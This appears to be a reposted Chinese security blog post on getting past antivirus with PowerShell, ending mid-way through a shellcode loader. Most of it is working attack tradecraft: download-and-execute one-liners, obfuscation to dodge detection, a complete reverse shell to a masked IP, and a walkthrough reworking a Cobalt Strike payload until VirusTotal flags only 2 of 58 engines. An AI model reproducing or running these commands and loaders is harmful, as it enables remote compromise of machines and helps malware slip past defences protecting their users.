轉載https://www.jianshu.com/p/fb078a99e0d8
前言
文章首發於Freebuf
在之前發布的一篇 滲透技巧之Powershell實戰思路 中,學習了powershell在對抗Anti-Virus的方便和強大。團隊免殺系列又有了遠控免殺從入門到實踐(6)-代碼篇-Powershell 更是拓寬了自己的認知。這里繼續學習powershell在對抗Anti-Virus的騷姿勢。
繞過執行策略
powershell 可以通過繞過執行策略來執行惡意程序。
而從文件是否落地可以簡單分為落地的bypass、不落地的bypass。
以落地為例
powershell -ExecutionPolicy bypass -File a.ps1
以不落地為例,如我們熟知的IEX
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')"
從免殺上來說,查殺比較嚴格的當然是不落地文件的這種方式。
我們可以將兩種方式混用來實現簡單的bypass
如:
echo Invoke-Expression(new-object net.webclient).downloadstring('http://xxx.xxx.xxx/a') | powershell -
如:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('d://a')"
簡單混淆
powershell混淆姿勢有很多,如字符串轉換、變量轉換、編碼、壓縮等等。根據powershell語言的特性來混淆代碼,從而繞過Anti-Virus。
處理powershell
利用cmd的混淆以不同的姿勢調用powershell
如利用win10環境變量截取出powershell
%psmodulepath:~24,10%
處理IEX
為IEX設置別名
powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')
處理downloadstring
使用轉義符
"Down`l`oadString"
處理http
以變量的方式拆分http
powershell "$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)"
以中文單引號分割
ht‘+’tp
基於以上混淆基礎,就可以實現多種bypass的姿勢
如:
cmd /c "set p1=power&& set p2=shell&& cmd /c echo (New-Object Net.WebClient).DownloadString("http://109.xx.xx/a") ^|%p1%%p2% -"
如:
echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`oadString"('h'+'ttp://106.xx.xx.xx/a') | powershell -
如:
chcp 1200 & powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://xx.xx.xx/a')"
這里再分享一個小技巧:
在測試對抗某些殺毒軟件時,發現對cmd下操作查殺比較嚴格,相對來說powershell環境下更容易bypass。
而實際中可能更多的默認為cmd。我們可以先用socket一句話反彈powershell環境,再執行后續操作。
客戶端執行命令:
powershell -c "$client = New-Object Net.Sockets.TCPClient('106.xxx.xxx.xxx',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"
服務端nc監聽即可:
nc -lvp 9090
以此來迂回得達到我們的目的。
分析CobaltStrike powershell command
這里使用CobaltStrike 4.1來生成payload

訪問83端口的a文件,獲取payload代碼。
查看代碼,可以看到先使用base64解碼一段字符串,又通過IO.Compression.GzipStream
解壓縮,並將代碼進行IEX執行。
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("xxx"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
修改IEX為echo,保存為aaaa.ps1文件,運行得到源碼。
powershell -ExecutionPolicy bypass -File aaaaa.ps1 >> old.txt

可以看出大概分為func_get_delegate_type
、func_get_proc_address
兩個函數,然后是一個base64解碼的函數,且將byte數組進行了xor的異或操作。然后分配一些內存,將有效負載復制到分配的內存空間中。最后判斷計算機架構並執行。
那么關鍵位置就應該是這串base編碼的數據了。事實上,這段數據是bin文件編碼得來的。
我們將該byte數組保存為new.bin文件。
$enc=[System.Convert]::FromBase64String('base64編碼字符串') for ($x = 0; $x -lt $enc.Count; $x++) { $enc[$x] = $enc[$x] -bxor 35 } $infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)
而后修改為讀取new.bin文件內容到內存后再上線。
即
[Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')
其余代碼未修改。

執行后可正常上線。
放入VT查殺一下11/59

這時候我們就得到了powershell版的一個加載器,繼續嘗試修改該加載器本身的一些特征。
- 對
func_get_delegate_type
,func_get_proc_address
兩個函數重命名替換,對函數里面的一些變量進行重新定義 - 重命名
$DoIt
為$aaaa
- 修改IEX為I`EX
- 修改Invoke為Inv'+'oke
- 替換
$var_code
為$acode
放入VT再次查殺2/58

powershell加載器
上面的腳本通過讀取new.bin中的字節數組並在內存執行從而成功使cobalt strike上線。
那同樣可以從遠程文件讀取shellcode,並加載到內存執行,來實現payload無落地。
加載器代碼如下:
Set-StrictMode -Version 2 function func_get_delegate_type_new { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] ) $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') return $var_type_builder.CreateType() } function func_get_proc_address_new { Param ($var_module, $var_procedure) $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies() $var_unsafe_native_methods_news = ($var_unsafe_native_methods | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)